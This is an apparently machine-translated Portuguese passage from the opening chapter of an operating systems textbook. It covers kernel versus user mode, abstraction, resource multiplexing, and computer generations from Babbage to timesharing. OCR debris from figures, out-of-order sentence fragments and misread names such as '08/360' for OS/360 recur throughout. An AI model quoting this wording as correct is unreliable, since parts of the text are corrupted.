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INTRODUÇÃO 


Um computador moderno consiste em um ou mais processadores, uma certa quantidade 
de memória principal, discos rígidos ou unidades Flash, impressoras, teclado, mouse, monitor, 
interfaces de rede e vários outros dispositivos de entrada/saída. Em suma, um sistema 
complexo. Se todo programador de aplicativos tivesse que entender detalhadamente como 
todas essas coisas funcionam, nenhum código jamais seria escrito. Além disso, gerenciar 
todos esses componentes e utilizá-los de maneira otimizada é uma tarefa extremamente 
desafiadora. Por isso, os computadores são equipados com uma camada de software chamada 
sistema operacional, cuja função é fornecer aos programas do usuário um modelo de 
computador melhor, mais simples e mais limpo e gerenciar todos os recursos que acabamos 
de mencionar. Os sistemas operacionais são o assunto deste livro. 

É importante perceber que smartphones e tablets (como o iPad da Apple) são apenas 
computadores em um pacote menor com tela sensível ao toque. Todos eles têm sistemas 
operacionais. Na verdade, o iOS da Apple é bastante semelhante ao macOS, que roda nos 
sistemas desktop e MacBook da Apple. O formato menor e a tela sensível ao toque realmente 
não mudam muito o que o sistema operacional faz. Todos os smartphones e tablets Android 
executam Linux como o verdadeiro sistema operacional no hardware básico. 

O que os usuários percebem como “Android” é simplesmente uma camada de software 
rodando sobre o Linux. Como o macOS (e, portanto, o iOS) é derivado do Berkeley UNIX 
e o Linux é um clone do UNIX, de longe o sistema operacional mais popular do mundo é 
o UNIX e suas variantes. Por esse motivo, neste livro daremos muita atenção ao UNIX. 

A maioria dos leitores provavelmente já teve alguma experiência com um sistema 

operacional como Windows, Linux, FreeBSD ou macOS, mas as aparências enganam. 
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O programa com o qual os usuários interagem, geralmente chamado de shell quando é baseado em texto 
e a GUI (Graphical User Interface) (que é pronunciada "pegajosa") quando 
usa ícones, na verdade não faz parte do sistema operacional, embora use o sistema operacional para realizar seu 
trabalho. 
Uma visão geral simples dos principais componentes em discussão aqui é fornecida em 
Figura 1-1. Aqui vemos o hardware na parte inferior. O hardware consiste em chips, 
placas, unidades Flash, discos, teclado, monitor e objetos físicos semelhantes. Sobre 
no topo do hardware está o software. A maioria dos computadores possui dois modos de operação: 
modo kernel e modo de usuário. O sistema operacional, a peça mais fundamental do 
software, é executado no modo kernel (também chamado de modo supervisor) por pelo menos alguns dos 
sua funcionalidade. Neste modo, tem acesso completo a todo o hardware e pode 
executar qualquer instrução que a máquina seja capaz de executar. O restante do software é executado em modo 
de usuário, no qual apenas um subconjunto das instruções da máquina é executado. 
disponível. Em particular, aquelas instruções que afetam o controle da máquina, determinam os limites de 
segurança ou realizam E/S (Entrada/Saída) são proibidas para programas em modo de usuário. Voltaremos à 
diferença entre o modo kernel e 
modo de usuário repetidamente ao longo deste livro. Desempenha um papel crucial na forma como o funcionamento 


os sistemas funcionam. 


E-mail Música 
Rede leitor 
navegador 


jogador 


Modo de usuário < 


> Programas 


Programa de interface do usuário 


Modo kernel < Sistema operacional 


Es 


~ Hardware 


Figura 1-1. Onde o sistema operacional se encaixa. 


O programa de interface de usuário, shell ou GUI, é o nível mais baixo de software de modo de usuário e 
permite ao usuário iniciar outros programas, como um navegador da Web, email 


leitor ou reprodutor de música. Esses programas também fazem uso intenso do sistema operacional. 


A localização do sistema operacional é mostrada na Figura 1.1. Ele funciona no 
hardware básico e fornece a base para todos os outros softwares. 

Uma distinção importante entre o sistema operacional e o software normal (modo de usuário) é que se um 
usuário não gostar de um leitor de e-mail específico, ele estará livre para 
compre um diferente ou escreva o seu próprio, se assim o desejar; ela normalmente não é livre para 


escrever seu próprio manipulador de interrupção de relógio, que faz parte do sistema operacional e é 
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protegido por hardware contra tentativas dos usuários de modificá-lo. Esta distinção, no entanto, 
às vezes é confusa, por exemplo, em sistemas embarcados (que podem não ter modo kernel) 
ou sistemas interpretados (como sistemas baseados em Java que usam interpretação, e não 
hardware, para separar os componentes). 

Além disso, em muitos sistemas existem programas que são executados em modo de 
usuário, mas ajudam o sistema operacional ou executam funções privilegiadas. Por exemplo, 
muitas vezes existe um programa que permite aos usuários alterar suas senhas. Não faz parte 
do sistema operativo e não funciona em modo kernel, mas desempenha claramente uma 
função sensível e tem de ser protegido de uma forma especial. Em alguns sistemas, essa ideia 
é levada ao extremo, e partes do que é tradicionalmente considerado o sistema operacional 
(como o sistema de arquivos) são executadas em modo de usuário. Nesses sistemas, é difícil 
traçar um limite claro. Tudo o que é executado no modo kernel é claramente parte do sistema 
operacional, mas alguns programas executados fora dele também fazem parte dele, ou pelo 
menos estão intimamente associados a ele. 

Os sistemas operacionais diferem dos programas de usuário (ou seja, aplicativos) em outros 
aspectos além de onde residem. Em particular, são enormes, complexos e de vida muito longa. 
O código-fonte do Windows tem mais de 50 milhões de linhas de código. O código-fonte do Linux 
tem mais de 20 milhões de linhas de código. Ambos ainda estão crescendo. Para entender o 
que isso significa, pense em imprimir 50 milhões de linhas em forma de livro, com 50 linhas por 
página e 1.000 páginas por volume (aproximadamente o tamanho deste livro). Cada livro conteria 
50.000 linhas de código. Seriam necessários 1.000 volumes para listar um sistema operacional 
desse tamanho. Agora imagine uma estante com 20 livros por prateleira e sete prateleiras ou 
140 livros ao todo. Seriam necessárias um pouco mais de sete estantes para armazenar o 
código completo do Windows 10. Você pode imaginar conseguir um emprego de manutenção 
de um sistema operacional e no primeiro dia ter seu chefe levando você para uma sala com 
essas sete estantes de código e dizendo: "Vá aprender isso." E isso é apenas para a parte que 
roda no kernel. Ninguém na Microsoft entende tudo do Windows e provavelmente a maioria dos 
programadores de lá, até mesmo os programadores de kernel, entendem apenas uma pequena parte dele. 
Quando bibliotecas compartilhadas essenciais são incluídas, a base do código-fonte fica muito 
maior. E isso exclui softwares de aplicativos básicos (coisas como navegador, reprodutor de 
mídia e assim por diante). 

Deveria estar claro agora por que os sistemas operacionais duram tanto tempo — eles são 
muito difíceis de escrever e, tendo escrito um, o proprietário reluta em jogá-lo fora e começar de 
novo. Em vez disso, tais sistemas evoluem ao longo de longos períodos de tempo. O Windows 
95/98/Me era basicamente um sistema operacional e o Windows NT/2000/XP/Vista/Windows 
7/8/10 é diferente. Eles se parecem com os usuários porque a Microsoft certificou-se de que a 
interface do usuário do Windows 2000/XP/Vista/Windows 7 fosse bastante semelhante à do 
sistema que estava substituindo, principalmente o Windows 98. Este não era necessariamente 
o caso do Windows 8. e 8.1, que introduziu uma variedade de mudanças na GUI e prontamente 
atraiu críticas de usuários que gostavam de manter as coisas iguais. O Windows 10 reverteu 
algumas dessas alterações e introduziu uma série de melhorias. O Windows 11 é baseado na 
estrutura do Windows 10. Estudaremos o Windows em detalhes no Capítulo. 11. 
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Além do Windows, o outro exemplo principal que usaremos ao longo deste livro é o UNIX e suas 
variantes e clones. Ele também evoluiu ao longo dos anos, com versões como o FreeBSD (e 
essencialmente, o macOS) sendo derivadas do sistema original, enquanto o Linux é uma nova base 
de código, embora modelada de perto no UNIX e altamente compatível com ele. O enorme 
investimento necessário para desenvolver um sistema operativo maduro e fiável a partir do zero levou 
a Google a adoptar um sistema já existente, o Linux, como base do seu sistema operativo Android. 
Usaremos exemplos do UNIX ao longo deste livro e examinaremos o Linux em detalhes no Cap. 10. 


Neste capítulo, abordaremos brevemente vários aspectos-chave dos sistemas operacionais, 
incluindo o que eles são, sua história, que tipos existem, alguns dos conceitos básicos e sua estrutura. 
Voltaremos a muitos desses tópicos importantes em capítulos posteriores com mais detalhes. 


1.1 O QUE É UM SISTEMA OPERACIONAL? 


É difícil definir o que é um sistema operacional, a não ser dizer que é o software executado no 
modo kernel — e mesmo isso nem sempre é verdade. Parte do problema é que os sistemas 
operacionais executam duas funções essencialmente não relacionadas: fornecer aos programadores 
de aplicativos (e programas de aplicativos, naturalmente) um conjunto limpo e abstrato de recursos, 
em vez dos confusos recursos de hardware, e gerenciar esses recursos de hardware. Dependendo 


de quem está falando, você poderá ouvir principalmente sobre uma função ou outra. Vejamos agora 
ambos. 


1.1.1 O Sistema Operacional como uma Máquina Estendida 


A arquitetura (conjunto de instruções, organização de memória, E/S e estrutura de barramento) 
da maioria dos computadores no nível da linguagem de máquina é primitiva e difícil de programar, 
especialmente para entrada/saída. Para tornar esse ponto mais concreto, considere os discos rígidos 
SATA (Serial ATA) modernos usados na maioria dos computadores. Um livro (Deming, 2014) que 
descreve uma versão inicial da interface para o disco — o que um programador precisaria saber para 
usar o disco — tinha mais de 450 páginas. Desde então, a interface foi revisada várias vezes e está 
ainda mais complicada do que era em 2014. Claramente, nenhum programador sensato gostaria de 
lidar com este disco no nível do hardware. Em vez disso, um software, chamado driver de disco, lida 
com o hardware e fornece uma interface para ler e gravar blocos de disco, sem entrar em detalhes. 
Os sistemas operacionais contêm muitos drivers para controlar dispositivos de E/S. 


Mas mesmo este nível é demasiado baixo para a maioria das aplicações. Por esse motivo, todos 
os sistemas operacionais fornecem ainda outra camada de abstração para o uso de discos: arquivos. 
Usando essa abstração, os programas podem criar, escrever e ler arquivos, sem ter que lidar com os 
detalhes complicados de como o hardware realmente funciona. 
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Essa abstração é a chave para gerenciar toda essa complexidade. Boas abstrações transformam uma tarefa 
quase impossível em duas tarefas gerenciáveis. A primeira é definir e implementar as abstrações. A segunda é usar 
essas abstrações para resolver o problema em questão. Uma abstração que quase todo usuário de computador 
entende é o arquivo, conforme mencionado acima. É uma informação útil, como uma foto digital, uma mensagem de 
e-mail salva, uma música ou uma página da Web. É muito mais fácil lidar com fotos, e-mails, músicas e páginas da 
Web do que com detalhes de discos SATA (ou outros). 


A tarefa do sistema operacional é criar boas abstrações e então implementar e gerenciar os objetos abstratos assim 
criados. Neste livro, falaremos muito sobre abstrações. Eles são uma das chaves para a compreensão dos sistemas 
operacionais. 

Este ponto é tão importante que vale a pena repetir, mas com palavras diferentes. Com todo o respeito aos 
engenheiros industriais que projetaram com tanto cuidado os computadores Apple Macintosh (agora conhecidos 
simplesmente como “Macs”, o hardware é grotesco. 

Processadores, memórias, pen drives, discos e outros dispositivos reais são muito complicados e apresentam 
interfaces difíceis, desajeitadas, idiossincráticas e inconsistentes para as pessoas que precisam escrever software 
para usá-los. Às vezes, isso se deve à necessidade de compatibilidade com versões anteriores de hardware mais 
antigo. Outras vezes é uma tentativa de economizar dinheiro. Frequentemente, porém, os projetistas de hardware 
não percebem (ou não se importam) com quantos problemas estão causando ao software. Uma das principais 
tarefas do sistema operacional é ocultar o hardware e apresentar aos programas (e seus programadores) 
abstrações agradáveis, limpas, elegantes e consistentes para trabalhar. Os sistemas operacionais transformam o 


horrível em belo, como mostra a Figura 1.2. 


Programas aplicativos 


-<— Interface bonita 


—— Interface horrível 


Hardware 


Figura 1-2. Os sistemas operacionais transformam hardware horrível em belas abstrações. 


Deve-se notar que os verdadeiros clientes do sistema operacional são os programas aplicativos (através dos 
programadores de aplicativos, é claro). São eles que lidam diretamente com o sistema operacional e suas 
abstrações. Em contraste, os usuários finais lidam com as abstrações fornecidas pela interface do usuário, seja um 
shell de linha de comando ou uma interface gráfica. Embora as abstrações na interface do usuário possam ser 
semelhantes às fornecidas pelo sistema operacional, nem sempre é esse o caso. Para tornar este ponto mais claro, 


considere a área de trabalho normal do Windows e o 
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prompt de comando orientado a linha. Ambos são programas executados no sistema operacional Windows 
e usam as abstrações fornecidas pelo Windows, mas oferecem interfaces de usuário muito diferentes. Da 
mesma forma, um usuário Linux executando Gnome ou KDE vê uma interface muito diferente de um usuário 
Linux trabalhando diretamente no X Window System subjacente, mas as abstrações subjacentes do sistema 


operacional são as mesmas em ambos os casos. 


Neste livro, estudaremos detalhadamente as abstrações fornecidas aos programas aplicativos, mas 
falaremos pouco sobre interfaces de usuário. Esse é um assunto amplo e importante, mas apenas 


perifericamente relacionado aos sistemas operacionais. 


1.1.2 O sistema operacional como gerenciador de recursos 


O conceito de um sistema operacional que fornece principalmente abstrações para programas aplicativos 
é uma visão de cima para baixo. Uma visão alternativa, de baixo para cima, sustenta que o sistema 
operacional existe para gerenciar todas as peças de um sistema complexo. 
Os computadores modernos consistem em processadores, memórias, temporizadores, discos, mouses, 
interfaces de rede, impressoras, telas sensíveis ao toque, touch pad e uma ampla variedade de outros dispositivos. 
Na visão bottom-up, a tarefa do sistema operacional é fornecer uma alocação ordenada e controlada dos 
processadores, memórias e dispositivos de E/S entre os vários programas que os desejam. 


Os sistemas operacionais modernos permitem que vários programas estejam na memória e sejam 
executados ao mesmo tempo. Imagine o que aconteceria se três programas em execução em algum 
computador tentassem imprimir seus resultados simultaneamente na mesma impressora. As primeiras linhas 
de impressão podem ser do programa 1, as próximas do programa 2, depois algumas do programa 3 e assim 
por diante. O resultado seria um caos total. O sistema operacional pode trazer ordem ao caos potencial 
armazenando em buffer toda a saída destinada à impressora no disco ou unidade Flash. Quando um 
programa é concluído, o sistema operacional pode então copiar sua saída do arquivo do disco onde foi 
armazenado para a impressora, enquanto ao mesmo tempo o outro programa pode continuar gerando mais 


saída, alheio ao fato de que a saída é realmente não vou para a impressora (ainda). 


Quando um computador (ou rede) tem mais de um usuário, gerenciar e proteger a memória, os 
dispositivos de E/S e outros recursos é ainda mais importante, pois, de outra forma, os usuários poderiam 
interferir uns nos outros. Além disso, os usuários muitas vezes precisam compartilhar não apenas hardware, 
mas também informações (arquivos, bancos de dados, etc.). Em resumo, esta visão do sistema operacional 
sustenta que sua tarefa principal é acompanhar quais programas estão usando quais recursos, conceder 
solicitações de recursos, contabilizar o uso e mediar solicitações conflitantes de diferentes programas e 
usuários. 

O gerenciamento de recursos inclui a multiplexação (compartilhamento) de recursos de duas maneiras 
diferentes: no tempo e no espaço. Quando um recurso é multiplexado no tempo, diferentes programas ou 
usuários se revezam para usá-lo. Primeiro um deles utiliza o recurso, depois outro e assim por diante. Por 
exemplo, com apenas uma CPU e vários programas que desejam ser executados nela, o sistema operacional 
primeiro aloca a CPU para um programa e, depois de ter sido executado por tempo suficiente, outro programa 
usa a CPU e, em seguida, 
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outro e, eventualmente, o primeiro novamente. Determinando como o recurso é 
multiplexado no tempo - quem vai em seguida e por quanto tempo - é tarefa do operador 
sistema. Outro exemplo de multiplexação de tempo é o compartilhamento da impressora. Quando vários 
trabalhos de impressão são enfileirados para impressão em uma única impressora, é necessário tomar uma decisão. 
feito sobre qual deles será impresso a seguir. 

O outro tipo de multiplexação é a multiplexação espacial. Em vez dos clientes 
revezando-se, cada um fica com parte do recurso. Por exemplo, a memória principal é normalmente dividida 
entre vários programas em execução, de modo que cada um pode residir em um determinado local. 
ao mesmo tempo (por exemplo, para se revezar no uso da CPU). Supondo que haja 
Se houver memória suficiente para armazenar vários programas, é mais eficiente armazenar vários 
programas na memória de uma só vez, em vez de fornecer a memória inteira a um deles, especialmente se 
precisar apenas de uma pequena fração do total. É claro que isso levanta questões de justiça, proteção e 
assim por diante, e cabe ao sistema operacional resolvê-las. 
Outros recursos multiplexados em espaço são os discos e unidades Flash. Em muitos sistemas, um único 
disco pode armazenar arquivos de vários usuários ao mesmo tempo. Alocando disco 
espaço e acompanhar quem está usando quais blocos de disco é uma operação típica 
tarefa do sistema. A propósito, as pessoas comumente se referem a toda memória não volátil como 
"discos", mas neste livro tentamos distinguir explicitamente entre discos, que têm 
pratos magnéticos giratórios e SSDs (Solid State Drives), que são baseados em 
Memória flash e eletrônica em vez de mecânica. Ainda assim, do ponto de vista do software 


Em vista disso, os SSDs são semelhantes aos discos em muitos aspectos (mas não em todos). 


1.2 HISTÓRICO DOS SISTEMAS OPERACIONAIS 


Os sistemas operacionais têm evoluído ao longo dos anos. Nas seções seguintes, examinaremos 
brevemente alguns dos destaques. Como os sistemas operacionais têm 
historicamente intimamente ligado à arquitetura dos computadores nos quais eles 
executados, examinaremos gerações sucessivas de computadores para ver como eram seus sistemas 
operacionais. Este mapeamento de gerações de sistemas operacionais para computadores 
gerações é grosseiro, mas fornece alguma estrutura onde de outra forma não haveria nenhuma. A progressão 
dada abaixo é em grande parte cronológica, mas tem sido 
uma viagem acidentada. Cada desenvolvimento não esperou até que o anterior fosse bem finalizado 
antes de começar. Houve muita sobreposição, sem mencionar muitos falsos começos 
e becos sem saída. Tome isso como um guia, não como a última palavra. 

O primeiro verdadeiro computador digital foi projetado pelo matemático inglês 
Charles Babbage (1792-1871). Embora Babbage tenha passado a maior parte de sua vida tentando construir 
seu “motor analítico”, ele nunca o fez funcionar corretamente. 
porque era puramente mecânico e a tecnologia de sua época não conseguia produzir 
as rodas, engrenagens e engrenagens necessárias com a alta precisão que ele precisava. Desnecessário 
quer dizer, o mecanismo analítico não tinha sistema operacional. 

Como um interessante aparte histórico, Babbage percebeu que precisaria de um software para seu 


mecanismo analítico, então contratou uma jovem chamada Ada Lovelace, 
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que era filha do famoso poeta britânico Lord Byron como o primeiro programador do mundo. 
A linguagem de programação Ada® leva o seu nome. 


1.2.1 A Primeira Geração (1945-1955): Tubos de Vácuo 


Após os esforços malsucedidos de Babbage, pouco progresso foi feito na construção 
de computadores digitais até o período da Segunda Guerra Mundial, o que estimulou uma 
explosão de atividades. O professor John Atanasoff e seu aluno de pós-graduação Clifford 
Berry construíram o que hoje é considerado o primeiro computador digital funcional na 
Universidade Estadual de lowa. Foram utilizados 300 tubos de vácuo. Quase ao mesmo 
tempo, Konrad Zuse, em Berlim, construiu o computador Z3 com relés eletromecânicos. Em 
1944, o Colossus foi construído e programado por um grupo de cientistas (incluindo Alan 
Turing) em Bletchley Park, Inglaterra, o Mark I foi construído por Howard Aiken em Harvard, 
e o ENIAC foi construído por William Mauchley e seu aluno de graduação J. Presper Eckert 
da Universidade da Pensilvânia. Alguns eram binários, alguns usavam tubos de vácuo, 
alguns eram programáveis, mas todos eram muito primitivos e levavam segundos para 
realizar até mesmo o cálculo mais simples. 

Naqueles primeiros dias, um único grupo de pessoas (geralmente engenheiros) 
projetava, construía, programava, operava e mantinha cada máquina. Toda a programação 
era feita em linguagem de máquina absoluta ou, pior ainda, através da instalação de 
circuitos elétricos, conectando milhares de cabos a quadros de tomadas para controlar as 
funções básicas da máquina. As linguagens de programação eram desconhecidas (até 
mesmo a linguagem assembly era desconhecida). Os sistemas operacionais eram inéditos. 
O modo usual de operação era o programador se inscrever por um período de tempo usando 
a folha de inscrição na parede, depois descer até a sala de máquinas, inserir seu painel de 
tomadas no computador e passar as próximas horas esperando que nenhum dos cerca de 
20.000 tubos de vácuo queimaria durante a corrida. Praticamente todos os problemas eram 
cálculos matemáticos e numéricos simples e diretos, como elaborar tabelas de senos, 
cossenos e logaritmos ou calcular trajetórias de artilharia. 

No início da década de 1950, a rotina melhorou um pouco com a introdução dos cartões 
perfurados. Agora era possível escrever programas em cartões e lê-los em vez de usar 
plugboards; caso contrário, o procedimento era o mesmo. 


1.2.2 A Segunda Geração (1955-1965): Transistores e Sistemas em Lote 


A introdução do transistor em meados da década de 1950 mudou radicalmente o 

quadro. Os computadores tornaram-se confiáveis o suficiente para que pudessem ser 

fabricados e vendidos a clientes pagantes, com a expectativa de que continuariam a 

funcionar por tempo suficiente para realizar trabalhos úteis. Pela primeira vez, houve uma 

separação clara entre projetistas, construtores, operadores, programadores e pessoal de manutenção. 
Essas máquinas, que hoje são chamadas de mainframes, eram trancadas em grandes 

salas de computadores especialmente climatizadas, com equipes de operadores profissionais 

para operá-las. Somente grandes corporações, agências governamentais ou universidades 
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poderia pagar o preço multimilionário. Para executar um trabalho (ou seja, um programa ou conjunto 
de programas), um programador primeiro escreveria o programa no papel (em FORTRAN 
ou montador) e, em seguida, perfure-o nos cartões. O programador então traria o cartão 
desça até a sala de entrada, entregue-o a um dos operadores e vá tomar café 
até que a saída estivesse pronta. 
Quando o computador termina qualquer trabalho que esteja executando no momento, um operador 
iria até a impressora, cortaria a saída e a levaria para a saída 
sala, para que o programador pudesse recolhê-lo mais tarde. Então o operador pegaria 
um dos baralhos que foram trazidos da sala de entrada e leu. 
o compilador FORTRAN fosse necessário, o operador teria que obtê-lo de um arquivo 
gabinete e lê-lo. Muito tempo de computador era desperdiçado enquanto os operadores andavam pela 
sala de máquinas. 
Dado o elevado custo do equipamento, não é surpreendente que as pessoas rapidamente 
procurou maneiras de reduzir o tempo perdido. A solução geralmente adoptada foi a 
sistema em lote. A ideia era coletar uma bandeja cheia de trabalhos no insumo 
sala e depois lê-los em uma fita magnética usando um computador pequeno (relativamente) barato, 
como o IBM 1401, que era muito bom na leitura de cartões, 
copiar fitas e imprimir resultados, mas não é nada bom em cálculos numéricos. 
Outras máquinas, muito mais caras, como a IBM 7094, foram utilizadas para a 
computação de verdade. Esta situação é mostrada na Figura 1-3. 


Fita Sistema 
dirigir Entrada fita 
SR | O | 


IN 7.9] 
Omo 


Ol 


7094 


MM 


1401 


(a) (b) (c) (d) (e) (b) 


Figura 1-3. Um sistema em lote inicial. (a) Os programadores trazem cartões para 1401. (b) 
1401 lê lotes de trabalhos em fita. (c) O operador transporta a fita de entrada para 7094. (d) 
7094 faz computação. (e) O operador carrega a fita de saída para 1401. (f) 1401 imprime 
saída. 


Após cerca de uma hora coletando um lote de trabalhos, os cartões foram lidos em um 
fita magnética, que foi levada para a sala de máquinas, onde foi montada 
uma unidade de fita. O operador então carregou um programa especial (o ancestral do atual 
sistema operacional), que leu o primeiro trabalho da fita e o executou. A saída foi 
escrito em uma segunda fita, em vez de ser impresso. Após a conclusão de cada trabalho, o 
sistema operacional leu automaticamente o próximo trabalho da fita e começou a executar 
isto. Quando todo o lote foi concluído, o operador removeu a entrada e a saída 
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fitas, substituí a fita de entrada pelo próximo lote e trouxe a fita de saída para um 
1401 para impressão off-line (ou seja, não conectado ao computador principal). 
A estrutura de um trabalho de entrada típico é mostrada na Figura 1.4. Tudo começou com um 
Cartão $JOB, especificando o tempo máximo de execução em minutos, o número da conta a ser 
cobrado e o nome do programador. Então veio um cartão $FORTRAN, informando ao 
sistema operacional para carregar o compilador FORTRAN da fita do sistema. Era 
diretamente seguido pelo programa a ser compilado e, em seguida, um cartão $LOAD, direcionando o sistema 
operacional para carregar o programa objeto recém-compilado. (Os programas compilados eram frequentemente 
escritos em fitas de rascunho e precisavam ser carregados explicitamente.) Próximo 
veio o cartão $RUN, informando ao sistema operacional para executar o programa com os dados 
seguindo-o. Finalmente, o cartão $END marcou o fim do trabalho. Estes controlam 


os cards foram os precursores dos shells modernos e dos interpretadores de linha de comando. 


Dados para programa | 


$CARREGAR 


$ FORTRAN 


$JOB, 10.7710802, ADA LOVELACE 


Figura 1-4. Estrutura de um trabalho típico de FMS. 


Grandes computadores de segunda geração eram usados principalmente para cálculos científicos e de 
engenharia, como resolver equações diferenciais parciais que muitas vezes 
ocorrem na física e na engenharia. Eles foram amplamente programados em FORTRAN 
e linguagem assembly. Os sistemas operacionais típicos eram o FMS (Fortran Monitor System) e o IBSYS, o sistema 
operacional da IBM para o 7094. 


1.2.3 A Terceira Geração (1965-1980): ICs e Multiprogramação 


No início da década de 1960, a maioria dos fabricantes de computadores tinha duas linhas de produtos distintas 


e incompatíveis. Por um lado, havia as organizações orientadas para a palavra e em larga escala. 


computadores científicos, como o 7094, que foram usados para fins industriais 
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cálculos numéricos em ciência e engenharia. Por outro lado, havia 
os computadores comerciais orientados para caracteres, como o 1401, que eram amplamente utilizados 
para classificação e impressão de fitas por bancos e companhias de seguros. 

Desenvolver e manter duas linhas de produtos completamente diferentes foi uma tarefa 
proposta cara para os fabricantes. Além disso, muitos novos clientes de computadores inicialmente 
precisavam de uma máquina pequena, mas depois a superaram e queriam uma máquina maior. 
máquina que executaria todos os seus programas antigos, mas mais rápido. 

A IBM tentou resolver esses dois problemas de uma só vez, introduzindo o System/360. O 360 era 
uma série de máquinas compatíveis com software, variando de modelos do tamanho 1401 até modelos 
muito maiores, mais poderosos que os poderosos. 

7094. As máquinas diferiam apenas em preço e desempenho (memória máxima, 

velocidade do processador, número de dispositivos de E/S permitidos e assim por diante). Já que todos eles tinham 
mesma arquitetura e conjunto de instruções, programas escritos para uma máquina poderiam 

funciona com todos os outros — pelo menos em teoria. (Mas como Yogi Berra supostamente disse: "Em 
teoria, teoria e prática são iguais; na prática, eles não são.”) Desde o 360 

foi projetado para lidar com computação científica (ou seja, numérica) e comercial, 

uma única família de máquinas poderia satisfazer as necessidades de todos os clientes. Em seguida 
anos, a IBM lançou sucessores compatíveis com versões anteriores da linha 360, usando 

tecnologia mais moderna, conhecida como 370, 4300, 3080 e 3090. O zSeries é 

o descendente mais recente desta linha, embora tenha divergido consideravelmente de 

o original. 

O IBM 360 foi a primeira grande linha de computadores a usar ICs (Circuitos Integrados) (em 
pequena escala), proporcionando assim uma grande vantagem de preço/desempenho sobre o 
máquinas de segunda geração, que foram construídas a partir de transistores individuais. Isto 
foi um sucesso imediato e massivo, e a ideia de uma família de 
computadores foi logo adotado por todos os outros grandes fabricantes. Os descendentes dessas 
máquinas ainda hoje são usados em centros de informática. Hoje em dia eles 
são frequentemente usados para gerenciar grandes bancos de dados (por exemplo, para sistemas de reservas de companhias aéreas) 
ou como servidores para sites da World Wide Web que devem processar milhares de solicitações por 
segundo. 

A maior força da ideia da “família única” foi simultaneamente a sua maior fraqueza. A intenção 
original era que todo o software, incluindo o sistema operacional 
sistema, 08/360, teve que funcionar em todos os modelos. Tinha que rodar em sistemas pequenos, o que 
muitas vezes apenas substituiu o 1401 para copiar cartões para fita e em sistemas muito grandes, 
que muitas vezes substituiu o 7094 para fazer previsões meteorológicas e outros cálculos pesados. Tinha 
que ser bom em sistemas com poucos periféricos e em sistemas com muitos 
periféricos. Tinha que funcionar em ambientes comerciais e científicos. Acima de tudo, tinha que ser 
eficiente para todos esses diferentes usos. 

Não havia como a IBM (ou qualquer outra pessoa) escrever um 
software para atender a todos esses requisitos conflitantes. O resultado foi um 
sistema operacional enorme e extraordinariamente complexo, provavelmente dois a três 
ordens de grandeza maiores que o FMS. Consistia em milhões de linhas de montagem 
linguagem escrita por milhares de programadores e continha milhares de 
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milhares de bugs, o que exigiu um fluxo contínuo de novos lançamentos na tentativa de corrigi-los. 
Cada nova versão corrigia alguns bugs e introduzia novos, então o número de bugs provavelmente 
permaneceu constante ao longo do tempo. 

Um dos designers do 08/360, Fred Brooks, posteriormente escreveu um livro agora clássico, 
espirituoso e incisivo (Brooks, 1995) descrevendo suas experiências com o 08/360. Embora seja 
impossível resumir o livro aqui, basta dizer que a capa mostra um rebanho de feras pré-históricas 
presas em um poço de alcatrão. A capa de Silberschatz et al. (2012) afirma algo semelhante sobre 
os sistemas operacionais serem dinossauros. Ele também comentou que adicionar programadores 
a um projeto de software tardio o torna ainda mais tarde, dizendo que leva 9 meses para produzir 
um filho, não importa quantas mulheres você designe para o projeto. 


Apesar de seu enorme tamanho e de seus problemas, o OS/360 e os sistemas operacionais 
similares de terceira geração produzidos por outros fabricantes de computadores, na verdade, 
satisfizeram razoavelmente bem a maioria de seus clientes. Eles também popularizaram diversas 
técnicas importantes ausentes nos sistemas operacionais de segunda geração. Provavelmente o 
mais importante deles foi a multiprogramação. No 7094, quando o trabalho atual era pausado 
para aguardar a conclusão de uma fita ou outra operação de E/S, a CPU simplesmente ficava 
ociosa até que a E/S terminasse. Com cálculos científicos fortemente limitados pela CPU, a E/S é 
pouco frequente, portanto esse tempo perdido não é significativo. Com o processamento de dados 
comerciais, o tempo de espera de E/S pode muitas vezes ser de 80% ou 90% do tempo total, então 
algo tinha que ser feito para evitar que a CPU (cara) ficasse tanto ociosa. 

A solução que evoluiu foi particionar a memória em diversas partes, com uma tarefa diferente 
em cada partição, como mostra a Figura 1.5. Enquanto um trabalho aguardava a conclusão da E/S, 
outro trabalho poderia estar usando a CPU. Se um número suficiente de tarefas pudesse ser 
mantido na memória principal de uma só vez, a CPU poderia ser mantida ocupada quase 100% do tempo. 
Ter vários trabalhos com segurança na memória ao mesmo tempo requer hardware especial para 
proteger cada trabalho contra bisbilhoteiros e travessuras dos outros, mas o 360 e outros sistemas 
de terceira geração foram equipados com esse hardware. 


Trabalho 3 
Trabalho 2 


Sistema operacional 


Partições de 


memória 


Figura 1-5. Um sistema de multiprogramação com três jobs na memória. 


Outro recurso importante presente nos sistemas operacionais de terceira geração era a 
capacidade de ler trabalhos de cartões para o disco assim que eram levados para a sala de 
informática. Então, sempre que um trabalho em execução terminasse, o sistema operacional 
poderia carregar um novo trabalho do disco na partição agora vazia e executá-lo. Essa habilidade é 
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chamado spooling (de Simultaneous Peripheral Operation On Line) e também foi usado para 
saída. Com o spooling, os 1401 não eram mais necessários e grande parte do transporte de fitas 
desapareceu. 

Embora os sistemas operacionais de terceira geração fossem adequados para grandes 
cálculos científicos e grandes execuções de processamento comercial de dados, eles ainda eram 
basicamente sistemas em lote. Muitos programadores ansiavam pelos dias da primeira geração, 
quando tinham a máquina só para eles por algumas horas, para que pudessem depurar seus 
programas rapidamente. Com sistemas de terceira geração, o tempo entre o envio de um trabalho 
e o retorno da saída costumava ser de várias horas, portanto, uma única vírgula mal colocada 
poderia causar falha na compilação e o programador desperdiçaria meio dia. Os profissionais não 
gostaram muito disso. 

Esse desejo por tempos de resposta rápidos abriu caminho para o timesharing, uma variante 
da multiprogramação, em que cada usuário possui um terminal online. Em um sistema de 
timesharing, se 20 usuários estiverem logados e 17 deles estiverem pensando, conversando ou 
tomando café, a CPU pode ser alocada, por sua vez, para os três trabalhos que desejam serviço. 
Como as pessoas que depuram programas geralmente emitem comandos curtos (por exemplo, 
compilar um procedimento de cinco páginas em vez de longos (por exemplo, classificar um arquivo 
de um milhão de registros), o computador pode fornecer um serviço rápido e interativo a vários 
usuários e talvez também trabalhar em grandes trabalhos em lote em segundo plano quando a 
CPU está ociosa. O primeiro sistema geral de compartilhamento de tempo para fins específicos, 
CTSS (Compatible Time Sharing System), foi desenvolvido no MIT em um 7094 especialmente 
modificado (Corbato” et al., 1962). , o compartilhamento de tempo não se tornou realmente popular 
até que o hardware de proteção necessário se difundiu durante a terceira geração. 

Após o sucesso do sistema CTSS, o MIT, o Bell Labs e a General Electric (na época um 
